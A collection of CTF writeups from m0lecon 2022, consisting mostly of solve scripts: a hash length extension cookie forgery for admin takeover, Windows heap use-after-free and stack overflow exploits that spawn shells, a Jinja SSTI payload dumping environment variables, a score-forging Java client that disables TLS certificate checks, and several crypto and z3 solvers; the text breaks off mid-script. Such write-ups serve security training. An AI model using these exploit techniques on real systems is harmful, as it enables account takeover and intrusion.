# m0lecon 2022 writeups ## Fancy-Notes Hash length extension attack + bad cookie deserialization = account takeover ```python import requests import subprocess import hashpumpy import base64 import re original_user_string = "username=drw0if,locale=en" data_to_add = ",username=admin" original_signature = "91dc73943da3a7c2b8d8c7c5be4915d9ff1d470f1903c7b66075424aff138080" for i in range(100): new_signature, new_data = hashpumpy.hashpump( original_signature, original_user_string, data_to_add, i) new_signature = new_signature.encode() new_data = new_data new_decoded_cookie = new_data + b"|" + new_signature new_cookie = base64.b64encode( (new_decoded_cookie)).decode() r = requests.get("https://fancynotes.m0lecon.fans/notes", cookies={ "user":new_cookie }, allow_redirects=False) print(r.status_code) if r.status_code != 302: ans = re.findall('(ptm{.*})', r.text) print(ans[0]) exit(0) ``` ## FlagMail That's a Kotlin cmdline program compiled to native x86-64 for windows which exposes 4 C functions, it looks scary because it's Kotlin && Windows notoriously two things which you don't usually find to pwn in CTF challenges, but the trick is to actually ignore everything Kotlin related and focus on the functions which use our inputs. - Save: allocate a chunk with given data, creates a unique ID to identify it, and save it in a kotlin hashmap, that's the C part which does the allocation ```c 140024f90 struct PwnObject* SaveData(char* data, int32_t size) 140024fb9 struct PwnObject* chunk = HeapAlloc(hHeap: GetProcessHeap(), dwFlags: HEAP_NONE, dwBytes: sx.q(size + 0x18)) 140024fcc struct PwnObject* rv 140024fcc if (size s<= 0x190) 140024ff3 strncpy(&chunk->payload, data, sx.q(size)) 140024ffd chunk->tagVal = -1 14002500e chunk->size = sx.q(size) 14002501e chunk->submitPtr = Submit 140025027 rv = chunk 140024fd2 else 140024fd2 rv = nullptr 140025035 return rv ``` From there we can extract the layout of the PwnObject structure ```c struct PwnObject { int64_t tagVal; int64_t size; void* submitPtr; char payload[0]; // variable size }; ``` - Edit: kotlin part read an ID, and calls Edit(hashmap[ID]) ```c 140025090 int64_t Edit(struct PwnObject* arg1) 1400250be return fgets(buf: &arg1->payload, size: zx.q(arg1->size.d), fout: __acrt_iob_func(0)) ``` - Submit: kotlin part read an ID, and calls PerformSubmit(hashmap[ID]), which in normal conditions calls Submit ```c 1400250d0 struct PwnObject* PerformSubmit(struct PwnObject* arg1) 1400250d9 struct PwnObject* rax = arg1 1400250e2 if (rax->tagVal == -1) 1400250fb rax = arg1->submitPtr(arg1) 140025102 return rax ``` ```c 140025040 int64_t Submit(struct PwnObject* arg1) 14002508b return _write(zx.q(_fileno(__acrt_iob_func(1))), &arg1->payload, zx.q(arg1->size.d)) ``` - Delete: kotlin part read an ID, calls Delete(hashmap[ID]) which free the PwnObject, but doesn't clear its reference from the hashmap, leading to a UAF ```c 140025130 uint64_t Delete(struct PwnObject* arg1) 140025142 if (arg1->tagVal == -1) 14002516c HeapFree(hHeap: GetProcessHeap(), dwFlags: HEAP_NO_SERIALIZE, lpMem: arg1) 140025172 char var_1_1 = 0 140025148 else 140025148 char var_1 = 0 140025177 struct PwnObject* rax 140025177 rax.b = 0 14002517b rax.b = rax.b & 1 140025184 return zx.q(rax.b) ``` How do you exploit it? Play with the heap a bit until you notice that you could overwrite size field with an heap ptr, leading to an heap overflow, in the end the exploit path i used was something like that: - alloc some chunks of len=0x80 - free some of them such that FLINK and BLINK pointers overwrite PwnObject.tagVal and PwnObject.size - edit a freed chunk to overflow into the next chunk, forging a fake object with tagVal=0xffffffffffffffff and size=something big - submit the fake object to leak aslr - edit again the freed chunk to overflow again into the next chunk and change the submitPtr to OldFunc which calls system("cmd.exe") - submit the object to call OldFunc - enjoy shell ```python from pwn import * context.os = 'windows' def flush() -> bytes: return io.recvuntil(b'-> ') def save(data) -> bytes: flush() io.sendline(b'save') io.sendline(data) io.recvuntil(b'Flag saved with id=') return io.recvline().strip() def delete(idflag): flush() io.sendline(b'delete') io.sendline(idflag) def edit(idflag, data): flush() io.sendline(b'edit') io.sendline(idflag) io.sendline(data) def submit(idflag, dointeractive=False): flush() io.sendline(b'submit') io.sendline(idflag) if dointeractive: io.interactive() leak = io.recvuntil(b'Flag submitted!') return leak #io = remote('192.168.106.129', 4444) io = remote('flagmail.challs.m0lecon.it', 4444) chunks = [] for i in range(64): chunks.append(save(str(i).ljust(128, 'a').encode())) for i, idflag in enumerate(chunks): print(f'{i} -> {idflag}') delete(chunks[12]) delete(chunks[22]) delete(chunks[32]) delete(chunks[42]) delete(chunks[52]) # overflow from chunk12 into chunk13 to modify its size edit(chunks[12], flat({ 128+8: flat( b'\xff\xff\xff\xff\xff\xff\xff\xff', 0x4142, ) })) # read chunk13 to leak aslr leak = submit(chunks[13]) idx = leak.find(b'\x7f') print(idx) ptrSubmit = u64(leak[idx-5:idx-5+8]) print(f"{ptrSubmit = :#x}") ptrSystem = ptrSubmit + 0xf0 - 0x20 print(f"{ptrSystem = :#x}") context.bits = 64 # modify chunk13 submitPtr to ptrSystem edit(chunks[12], flat({ 128+8: flat( b'\xff\xff\xff\xff\xff\xff\xff\xff', 0x4141, ptrSystem, ';;;;;;calc.exe;' #useless ) })) # get shell submit(chunks[13], dointeractive=True) ``` ## ptmlist ### The challenge Standard Linux x86-64 ELF binary, dynamically linked. All standard protections are active, ASLR, NX, full RELRO and canary. This binary offers a way to build a shopping cart of several items, with different quantities for each. Even at first glance, the target is clear, we have to call the function `winfunc`, that calls `execve("/bin/sh")`. I spent really too much time on an unintended way to breake this program, so I will write two different sections dedicated to the two different exploitation techniques. ### Challenge internals The objects that come into play in this challenge are: - the number of items in the cart, type `byte`, that I will call `num`. Obv `0 <= num < 256`, but actually `num < 51` if the program is working correctly. - the content of the shopping cart. The content is saved on the stack as an array of the following struct: ``` struct cart_item { byte type; byte quantity; }; ``` The non-in-use items are marked with `type = 0xff, quantity = 0xff`. The actions that a user can make are the following: - add an item to cart, with `0 < quantity < 100` - delete some stuff from cart: you can reduce the quantity of an item inside the cart or completely eliminate it from the cart. In the latter case, all the items after the deleted one are shifted back by one unity. - swap two items from the cart: if the two items are of a different kind, the items are swapped trivially. If they are of the same kind, the programs tries to merge the two stacks and delete from the cart the one with higher index. - gift only once one of the items already in the cart: the selected items gets `quantity = 0xff`. #### The intended way It is possible to overflow the value `num`, making it become `0xff`, decreasing it more times than expected. This can be done because of a bug in the `removeItem` function: ``` while ((cart[i].type != 0xff && (cart[i].quantity != 0xff))) { ``` The problem here is the logical operator `&&`. If we obtain a gift, the removeItem will understand that this is a non-in-use block even if it is in use. However, the selection menu does not act coherently and we can still select and use this item. The idea is then: - allocate some stuff in the cart: `num = count` - gift the last one: `num = count` - delete all the other items: `num = 1` - merge at least two chunks in the cart to overflow `num` When we have achieved the overflow of `num`, the chall is GG: we can write out of bounds on the stack, and with this trick we can overwrite the return address of the function `shop`. Moreover, our primitive writes 2 bytes at a time and this means that we only need to overwrite the LSBs and ignore ASLR. In this way, we have only 4 bits of entropy. Our script will work 1/16 times, that is perfectly fine. To be honest, once the overflow has been achieved, a memory leak can be obtained easily, but I was too lazy to use it. #### The unintended way If we swap an object with itself, the `swapItems` function will be called as `swapItems(item, 0xff)`, instead of `swapItems(item, 0x00)`. This allows us to swap stuff out of bounds. If we access `&cart + sizeof(cart)*0xff`, we reach a memory region where the env pointers are stored. Being all the offsets fixed, this means that we will always target the MSB of an x86-64 address, that is always in canonical form, so we are referencing a `\x00` byte. If we add to our cart the item of type `0x0` and swap out of bounds, we are not modifiyng the shopping cart content (mostly, we change only the quantity of this item), but we are decreasing `num`. After the first swap, the address is shifted according to the swap rule. The following address will be almost useless, but the next one will be again the MSB of an address, and so on. This means that we can decrease `num` and overflow it in a different way. I tested this on several machines and it worked, also with an empty env, but not on the remote docker of the chall. _My disappointment is immeasureble and my day is ruined_. ### Putting it all together ```python #!/usr/bin/env python3 from pwn import ELF, process, ui, u64, log, context, args, remote exe = context.binary = ELF("shoppingList_dbg") remotehost = ("challs.m0lecon.it", 8273) def build_lut(): """Lookup table for objects""" retval = {} for i in range(256): addr = u64(exe.read(exe.sym['itemList'] + i*8, 8)) val = exe.read(addr, 50) retval[val[:val.index(0)].decode()] = i return retval def add_cart(io, what: int, howmany: int): payload = b"\n" + b"s"*what + b"\n" + b"s"*howmany + b"\n" + b"\x1b" io.send(payload) for i in range(len(payload)): io.recvuntil(b"xit") def delete_stuff(io, what: int, howmany: int): payload = b"s\n" + b"s"*what + b"d" + b"s"*howmany + b"\n\x1b" io.send(payload) for i in range(len(payload)): io.recvuntil(b"xit") def move_stuff(io, what: int, towhat: int): payload = b"s\n" + b"s"*what + b"m" + b"s"*(towhat - what) + b"m\x1b" io.send(payload) for i in range(len(payload)): io.recvuntil(b"xit") def parse_row(line): """Does not parse 'Cancel' lines. """ try: cusu = line.decode().split("|")[:2] cusu = (lut[cusu[0].strip()], int(cusu[1].split(":")[1].strip(), 10)) return (hex(cusu[0]), hex(cusu[1])) except Exception: return None def view(io): """Warning, if there are more than 9 elements, this will print only the last (?). Too lazy to do better """ io.send(b"s\n") io.recvuntil(b"xit") data = io.recvuntil(b"xit") data = data.split(b"\n")[3:-4] data = [parse_row(row) for row in data] data = list(filter(lambda x: x is not None, data)) io.send(b"\x1b") io.recvuntil(b"xit") return data def gift(io, what: int): payload = b"ss\n" + b"s"*what + b"\n" io.send(payload) for i in range(len(payload)): io.recvuntil(b"xit") def quit(io): payload = b"sss\n" io.send(payload) for i in range(len(payload) - 1): io.recvuntil(b"xit") def unintended(): if args.REMOTE: io = remote(*remotehost) else: io = process([exe.path]) io.recvuntil(b"xit") if not args.REMOTE: ui.pause() # Dummy with first set to 0 count = 5 for i in range(count): add_cart(io, 0, 1) # Needed for the address add_cart(io, b2, 1) gift(io, count) delete_stuff(io, count, 255 - b1 + 1) print("Prepared initial ", view(io)) # Fillers print("Now ready for double move", view(io)) # Now trigger move on itself twice for i in range(count): move_stuff(io, i, i) print(f"{i}th move ", view(io)) delete_stuff(io, 1, 0) print("Deletion ", view(io)) move_stuff(io, 0, 2) print("Swap ", view(io)) delete_stuff(io, 0, 0) print("Deletion ", view(io)) move_stuff(io, 0, 1) print("Move ", view(io)) move_stuff(io, 0, 1) print("Overflow ", view(io)) move_stuff(io, 1, 60) quit(io) io.recv() io.sendline(b"ls") try: io.recv() except EOFError: io.close() else: io.sendline(b"cat flag*") io.interactive() def intended(): io = process([exe.path]) if not args.REMOTE else remote(*remotehost) io.recvuntil(b"xit") if not args.REMOTE: ui.pause() for i in range(4): add_cart(io, b2, 1) gift(io, 3) print("Prima deletion ", view(io)) for i in range(3): delete_stuff(io, 0, 0) print("Dopo multidel ", view(io)) delete_stuff(io, 0, 256 - 3) print("Aggiustamento ", view(io)) move_stuff(io, 0, 1) # Adesso siamo a 0 print("Merging 1 ", view(io)) move_stuff(io, 0, 1) # Adesso siamo a -1 print("Merging 2 ", view(io)) delete_stuff(io, 1, 256 - b1) print("Aggiusto ", view(io)) move_stuff(io, 1, 60) print("Overwrite ", view(io)) quit(io) io.recv() io.sendline(b"ls") try: io.recv() except EOFError: io.close() else: io.sendline(b"cat flag*") io.interactive() if __name__ == "__main__": lut = build_lut() addr = exe.sym['winfunc'] b2 = addr & 0xff b1 = (addr >> 8) & 0xff b1 += 0x80 # Useless log.info(f"Bytes: {b1:x} {b2:x}") while True: intended() ``` ## permutating trees ./out source code: ```cpp #include <iostream> #include <unordered_map> #include <vector> using namespace std; struct TreeNode { int val; TreeNode* left; TreeNode* right; TreeNode(int data) { val = data; left = NULL; right = NULL; } }; void inorder_traversal(TreeNode*node){ if(node == NULL) return; inorder_traversal(node->left); cout << node->val << " "; inorder_traversal(node->right); } void preorder_traversal(TreeNode *node) { if (node == NULL) return; cout << node->val << " "; preorder_traversal(node->left); preorder_traversal(node->right); } void postorder_traversal(TreeNode *node) { if (node == NULL) return; postorder_traversal(node->left); postorder_traversal(node->right); cout << node->val << " "; } TreeNode* construct_tree(vector<int>& preorder, unordered_map<int,int>& postorderMap, int& preIndex, int postStart, int postEnd) { if (postStart > postEnd) return NULL; TreeNode *node = new TreeNode(preorder[preIndex]); ++preIndex; if (postStart == postEnd) return node; int postIndex = postorderMap[preorder[preIndex]]; node->left = construct_tree(preorder, postorderMap, preIndex, postStart, postIndex); node->right = construct_tree(preorder, postorderMap, preIndex, postIndex+1, postEnd-1); return node; } int solve(TreeNode* current_node, bool is_left_child, bool is_left_nipote){ // Sforato if(current_node == NULL) return 0; // Se sono straight, prendo un punto int best_ans = is_left_child == is_left_nipote; // Ho tutti e due i figli if(current_node->left and current_node->right){ best_ans = solve(current_node->left, true, is_left_child) + solve(current_node->right, false, is_left_child); // TODO: MEMO return best_ans; } if(current_node->left == NULL and current_node->right == NULL){ return best_ans; } // Ho solo un figlio TreeNode* son = (current_node->left == NULL) ? current_node->right : current_node->left; if(is_left_child){ current_node->left = son; current_node->right = NULL; return best_ans + solve(current_node->left, true, true); } else{ current_node->left = NULL; current_node->right = son; return best_ans + solve(current_node->right, false, false); } } int main(){ int N; cin >> N; vector<int> preorder(N); vector<int> postorder(N); for(int i = 0; i < N; i++) cin >> preorder[i]; for(int i = 0; i < N; i++) cin >> postorder[i]; unordered_map<int,int> postorderMap; for (int i=0; i < postorder.size(); i++) postorderMap[postorder[i]] = i;; int preIndex = 0; TreeNode* root = construct_tree(preorder, postorderMap, preIndex, 0, postorder.size()-1); solve(root, true, false); inorder_traversal(root); cout << endl; return 0; } ``` solve script: ```python from pwn import * from subprocess import Popen, PIPE p = remote("challs.m0lecon.it", 12345) p.readuntil(b'Let\'s start!\n\n') while True: inorder = p.readline().decode().strip() postorder = p.readline().decode().strip() N = len(inorder.split(' ')) answer = subprocess.check_output(['./out'], input=f"{N}\n{inorder}\n{postorder}\n".encode()) p.send(answer) p.interactive() """ ptm{wdxv8s3nzwkrj4z7} """ ``` ## ptc ```java import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.URLDecoder; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.spec.KeySpec; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.URLDecoder; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.spec.KeySpec; import java.util.Base64; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.Base64; import org.codehaus.plexus.util.xml.pull.XmlPullParser; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.SocketTimeoutException; import java.net.URISyntaxException; import java.net.URL; import java.nio.ByteBuffer; import java.nio.file.Files; import java.nio.file.Paths; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.cert.X509Certificate; import java.text.SimpleDateFormat; import java.util.Arrays; import java.util.Date; import java.util.Iterator; import java.util.List; import java.util.Scanner; import java.util.jar.JarFile; import javax.imageio.ImageIO; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLContext; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import org.codehaus.plexus.util.xml.pull.XmlPullParser; public class Calculate{ final static String playerName = "dAiCu2wzsAqIAd6n"; public static void main(String... args){ setSSLCertValidation(false); SendScore(); } public static void setSSLCertValidation(boolean enabled) { TrustManager[] trustAllCerts = {new X509TrustManager() { // from class: itdelatrisu.opsu.Utils.2 @Override // javax.net.ssl.X509TrustManager public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } @Override // javax.net.ssl.X509TrustManager public void checkClientTrusted(X509Certificate[] certs, String authType) { } @Override // javax.net.ssl.X509TrustManager public void checkServerTrusted(X509Certificate[] certs, String authType) { } }}; try { SSLContext sc = SSLContext.getInstance("SSL"); sc.init(null, enabled ? null : trustAllCerts, null); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (Exception e) { } } public static void SendScore() { try { URL url = new URL(new String("https://ptc.m0lecon.fans/api/upload")); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("POST"); con.setRequestProperty("Content-Type", "application/json; utf-8"); con.setRequestProperty("Id", playerName); String b = makeB(playerName); System.out.println("key: " + b); String data = m470a(jsonify(), b, playerName); String jsonInputString = "{\"data\":\"" + data + "\"}"; con.setDoOutput(true); OutputStream os = con.getOutputStream(); byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8); os.write(input, 0, input.length); if (os != null) { os.close(); } con.setConnectTimeout(5000); con.setReadTimeout(5000); con.getResponseCode(); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); StringBuffer content = new StringBuffer(); while (true) { String inputLine = in.readLine(); if (inputLine != null) { content.append(inputLine); } else { in.close(); con.disconnect(); System.out.println("SEND SCORE RESULT: " + content); return; } } } catch (IOException e) { e.printStackTrace(); } } public static String makeB(String a) { String key = XmlPullParser.NO_NAMESPACE; try{ URL url = new URL(new String("https://ptc.m0lecon.fans/api/key")); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("Id", a); con.setConnectTimeout(5000); con.setReadTimeout(5000); BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); StringBuffer content = new StringBuffer(); while (true) { String inputLine = in.readLine(); if (inputLine == null) { System.out.println(content); break; } content.append(inputLine); } in.close(); con.disconnect(); System.out.println("KEY " + content); byte[] decodedBytes = Base64.getDecoder().decode(content.toString()); key = m469b(decodedBytes, a, a); } catch (IOException e) { } return key; } public static String m469b(byte[] a, String b, String c) { try { byte[] iv = c.getBytes(StandardCharsets.UTF_8); IvParameterSpec ivspec = new IvParameterSpec(iv); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); KeySpec spec = new PBEKeySpec(b.toCharArray(), Base64.getDecoder().decode("cHdudGhlbTBsZQ=="), 65536, 256); SecretKey tmp = factory.generateSecret(spec); SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(2, secretKey, ivspec); String result = new String(cipher.doFinal(a)); return result; } catch (Exception e) { return null; } } public static String m470a(String a, String b, String c) { try { byte[] iv = c.getBytes(StandardCharsets.UTF_8); IvParameterSpec ivspec = new IvParameterSpec(iv); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); KeySpec spec = new PBEKeySpec(b.toCharArray(), Base64.getDecoder().decode("cHdudGhlbTBsZQ=="), 65536, 256); SecretKey tmp = factory.generateSecret(spec); SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(1, secretKey, ivspec); return Base64.getEncoder().encodeToString(cipher.doFinal(a.getBytes(StandardCharsets.UTF_8))); } catch (Exception e) { return null; } } //MID: BeatmapID //MSID: BeatmapSetID public static String jsonify() { String json = "{\"map\":{\"MID\":31337,\"title\":\"Skype x Can Can\",\"artist\":\"Ara Potato\",\"creator\":\"Real\",\"version\":\"Hard\",\"score\":3133773314,\"MSID\":" + 47078 + "},\"player\":\"dAiCu2wzsAqIAd6n\",\"checksum\":\"c30df1bb74ad3ac7283f11c24324dab92efaec45b6e4df71c3620c1a575d8997\"}"; return json; } public static String calculate_checksum() { String filepath = "Client.jar"; StringBuilder sb = new StringBuilder(); try { File f = new File(URLDecoder.decode(filepath, "UTF-8")); MessageDigest md = MessageDigest.getInstance("SHA-256"); FileInputStream fis = new FileInputStream(f); byte[] dataBytes = new byte[1024]; while (true) { int nread = fis.read(dataBytes); if (nread == -1) { break; } md.update(dataBytes, 0, nread); } byte[] mdbytes = md.digest(); for (byte b : mdbytes) { sb.append(Integer.toString((b & 255) + 256, 16).substring(1)); } return sb.toString(); } catch (IOException | NoSuchAlgorithmException e) { return null; } } } ``` ## dumb-forum ```python import requests import re import random import string csrf_regex = re.compile('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*)">') flag_regex = re.compile('(ptm\{.*\})&#39') register_url = "https://microforum.m0lecon.fans:443/register" login_url = "https://microforum.m0lecon.fans:443/login" getflag_url = "https://microforum.m0lecon.fans:443/profile" payload = '{{cycler.__init__.__globals__.os.environ}}' s = requests.Session() def random_string(k = 10): return ''.join(random.choices(string.ascii_letters, k=k)) def get_csrf_token(): # Get csrf_token r = s.get(url = "https://microforum.m0lecon.fans:443/register") a = re.findall(csrf_regex, r.text) return a[0] data = { "csrf_token": get_csrf_token(), "username": random_string(10), "email": f"{random_string(3)}{payload}@elkeke69.com", "password": "a", "password2": "a" } r = s.post(register_url, data=data) data["csrf_token"] = get_csrf_token() r = s.post(login_url, data=data) r = s.get(getflag_url) print(re.findall(flag_regex, r.text)[0]) ``` ## moo ```python from pwn import remote, process, args from gmpy2 import lcm if args.REMOTE: io = remote('challs.m0lecon.it', 1753) else: io = process(["python3", "server.py"]) def ask(i): io.sendline(str(i)) io.recvuntil(b" = ") r = int(io.recvline()) return r from Crypto.Util.number import long_to_bytes io.recvline() # evey ask(g) return a number h that has pow(g,h,n)=1, meaning that h is a multiple or divisor of phi(n) # now, gather some of them and obtain their lcm, it will probably be a multiple of phi(n): k*phi(n) # we can obtain d = pow(e,-1,k*phi(n)) that is a valid d because: # pow(c, d, n) = pow(m, e*d, n) = pow(m,1+k'*k*phi(n), n) = m*1 = m n,c,e = [int(line.split(b" = ")[1]) for line in io.recvuntil(b"Choose a value: ").splitlines()[:3]] phik = 1 for i in [3,5,7,9,11,13,15]: phik = int(lcm(phik, ask(i))) print(phik) print(n) d = pow(e,-1,phik) print(d) flag = pow(c,d,n) print(long_to_bytes(flag)) ``` ## YASM desync X matrix from X matrix's array_view + collision check every two frames = classic speedrunner's trick to jump over obstacles ```python #!/bin/env python3 from pwn import remote, context import random from loguru import logger import random import time r = remote("108.128.200.4", 11223) # context.log_level = "debug" def _right(): r.send(b"\x00\x00\x00\x00\x06\x01\x00\x00") def _left(): r.send(b"\x00\x00\x00\x00\x07\x01\x00\x00") def _up(): r.send(b"\x09\x01\x00\x00\x00\x00\x00\x00") def _upright(): r.send(b"\x09\x01\x00\x00\x06\x01\x00\x00") def _f(): r.send(b"\x46\x00\x00\x00\x46\x00\x00\x00") def _l(): r.send(b"\x4c\x00\x00\x00\x4c\x00\x00\x00") def _a(): r.send(b"\x41\x00\x00\x00\x41\x00\x00\x00") def _g(): r.send(b"\x47\x00\x00\x00\x47\x00\x00\x00") r.send("newgame") r.recv(0x400) for i in range(0x400): _upright() r.recv(0x400) logger.info("glitching...") for i in range(0x200): _right() _right() _right() _right() _right() _right() _left() _f() _a() _l() _g() recvd = r.recv(0x400) if b"ptm" in recvd: logger.info("found") logger.info(recvd) exit() ``` ## circuitry magic ```python from z3 import * from string import printable import json output = "" with open("output.txt") as f: output = json.load(f) s = Solver() flag = [BitVec(f'flag_{i}',1) for i in range(64)] #Forces a different flag on the model def add_constraint(sol): cur = False for i in range(len(sol)): cur = Or(cur, (flag[i] != sol[i])) s.add(cur) #Since the z3 model isn't always fully constrained, this handles any non set bits by creating all possible strings. def getOptions(sol): res = [""] for el in sol: if(el == 0 or el == 1): for i in range(len(res)): res[i] += str(el) else: res2 = res.copy() for i in range(len(res)): res[i]+= "1" for i in range(len(res2)): res2[i] += "0" res += res2 return res def printFlag(cur): res = "" for i in range(0, len(cur),8): res += chr(int(cur[i: i+8], 2)) for i in res: if i not in printable: return print(res) def win(aa): for el in getOptions(aa): printFlag(el) frst = [False, True, True, False, True, True, False, True, True, True, False, False, True, True, True, True, False, False, True, True, True, True, False, True, False, True, False, False, False, False, False, True, False, True, True, True, False, False, True, False, False, False, False, False, True, True, True, True, True, True, True, False, False, False, True, True, True, True, True, True, True, False, False, True, True, False, True, False, False, True, True, True, False, True, False, True, True, False, False, True, False, True, True, True, False, False, False, True, True, False, False, False, False, True, True, True, False, False, False, False, True, False, False, False, False, False, True, True, False, True, False, False, True, True, False, True, False, True, False, False, True, False, False, False, True, True, True, False, False, True, False, False, False, False, False, False, False, False, False, False, False, True, True, True, False, True, True, False, False, False, False, True, True, True, True, True, True, False, True, False, True, True, True, False, True, True, False, False, True, False, True, True, False, True, True, False, True, True, True, False, True, False, False, False, True, False, True, False, False, False, True, True, True, True, False, True, True, False, True, True, False, True, True, True, True, True, True, False, True, False, True, True, True, False, True, True, False, False, True, True, False, True, False, False, True, True, True, False, True, True, False, False, False, True, True, True, False, False, True, False, False, False, True, False, False, False, False, False, True, False, False, True, True, False, True, True, False, False, True, False, True, True, False, True, False, False, True, False, True, False, False, False, True, False, True, True, False, True, False, False, True, False, False, True, False, False, True, True, False, False, False, True, False, False, False, False, False, True, False, True, False, True, True, False, False, True, False, True, True, False, True, False, False, True, True, False, False, False, False, True, True, False, False, True, True, False, True, False, False, False, True, False, True, False, False, True, True, False, False, False, False, False, True, False, False, False, False, True, True, True, False, False, True, False, True, True, False, False, True, True, True, True, True, False, False, True, True, True, True, False, True, False, True, True, True, False, True, True, True, True, True, True, False, False, False, True, True, True, True, False, False, True, True, True, True, True, True, True, False, False, False, False, True, True, False, True, True, True, True, True, False, True, False, False, True, True, False, True, False, True, True, True, True, True, False, True, True, True, True, True, True, False, True, True, True, False, False, False, True, True, True, False, False, True, True, False, True, False, True, False, True, False, True, False, True, True, True, False, False, True, False, False, True, False, False, True, False, True, False, False, False, False, True, True, False, False, False, True, False, False, True, True, False, True, False, True, True, True, False, True, True, False, False, False, True, True, True, False, False, False, True, True, True, True, True, False, False, False, False, True, True, False, False, False, True, False, False, False, False, True, False, True, False, False, False, True, True, False, True, True, False, False, True, True, True, True, False, True, False, False, True, True, False, False, False, False, True, True, False, False, False, True, False, True, False, True, False, False, False, True, False, True, False, True, True, False, True, False, False, True, True, False, True, False, True, False, False, True, False, False, False, False, False, True, False, False, False, True, True, False, True, True, True, False, True, False, True, True, True, True, True, False, False, True, False, True, True, False, False, True, True, False, True, True, True, True, True, False, True, True, True, True, True, True, True, False, False, False, False, False, True, False, False, True, True, True, False, False, True, True, False, False, False, False, True, True, False, True, False, True, True, True, False, True, False, True, True, True, True, False, False, True, True, False, True, False, False, True, True, False, True, True, False, False, False, False, False, True, False, False, False, False, True, False, True, False, True, False, False, False, True, False, True, True, True, True, False, False, True, False, True, True, False, False, True, True, False, False, False, True, False, False, False, True, False, True, False, False, True, False, False, True, True, True, False, False, False, True, True, True, False, True, False, False, True, False, False, True, False, False, True, False, True, False, False, False, False, False, False, False, False, False, False, False, False, True, False, True, False, True, False, True, False, True, False, True, True, False] def first_step(n): single_bits = [0]*6 for i in range(6): single_bits[5 - i] = n & 1 n = n >> 1 ans = [] #void *[64][2][6] for i in range(64): resulting_or = 0 for j in range(2): resulting_and = 1 for k in range(6): mask = frst[i*(2*6) + j*(6) + k] value = single_bits[k] if not mask: value = value ^ 1 resulting_and = resulting_and & value resulting_or = resulting_or | resulting_and ans.append(resulting_or) return ans def third_step(data): #Definitely didn't get those by hand in gdb :)))))) indexes = [ (0x3e, 0x38), (0x38, 0x8), (0x8, 0x27), (0x27, 0x18), (0x18, 0x2b), (0x2b, 0x7), (0x7, 0xb), (0xb, 0x3e), (0x14, 0x3d), (0x3d, 0x16), (0x16, 0x3a), (0x3a, 0x35), (0x35, 0x12), (0x12, 0x29), (0x29, 0x3), (0x3, 0x14), (0x30, 0x3b), (0x3b, 0x17), (0x17, 0x9), (0x9, 0x2e), (0x2e, 0x3f), (0x3f, 0x6), (0x6, 0x2), (0x2, 0x30), (0x1a, 0x19), (0x19, 0x37), (0x37, 0x0), (0x0, 0x3c), (0x3c, 0x36), (0x36, 0x20), (0x20, 0xc), (0xc, 0x1a), (0x1c, 0x2a), (0x2a, 0xf), (0xf, 0xa), (0xa, 0x26), (0x26, 0x32), (0x32, 0x5), (0x5, 0x34), (0x34, 0x1c), (0x1b, 0x2f), (0x2f, 0x25), (0x25, 0xd), (0xd, 0x15), (0x15, 0xe), (0xe, 0x31), (0x31, 0x39), (0x39, 0x1b), (0x2d, 0x13), (0x13, 0x1d), (0x1d, 0x2c), (0x2c, 0x22), (0x22, 0x28), (0x28, 0x10), (0x10, 0x21), (0x21, 0x2d), (0x24, 0x1e), (0x1e, 0x11), (0x11, 0x1f), (0x1f, 0x1), (0x1, 0x23), (0x23, 0x33), (0x33, 0x4), (0x4, 0x24), ] result = 0 for a, b in indexes: tmp = data[a] & data[b] result = result | tmp return result #For every input for inp in range(64): res_2 = [flag[j] & first_step(inp)[j] for j in range(64)] res_3 = third_step(res_2) s.add(res_3 == output[i]['output']) while s.check() == sat: m = s.model() res = [m.eval(flag[i]) for i in range(64)] win(res) #We tell the model to give us different flags.. add_constraint(res) print('no more flag :/') # ptm{itslogic} ``` ## classic Given a permutation of the rotors z3 can find the state of the rotors in a few seconds, just try all permutations of 8 rotors and profit! ### The script ```py import itertools as it from math import factorial import z3 import tqdm def xor(s1, s2): res = "" for a, b in zip(s1, s2): res += str(int(a) ^ int(b)) return res def update_rotors(rotors): for i in range(len(rotors)): rotors[i] = rotors[i][1:] + [rotors[i][0]] perms = { "0000": [0, 3, 1, 2], "0001": [3, 0, 1, 2], "0010": [1, 3, 0, 2], "0011": [3, 1, 0, 2], "0100": [2, 3, 1, 0], "0101": [3, 2, 1, 0], "0110": [1, 3, 2, 0], 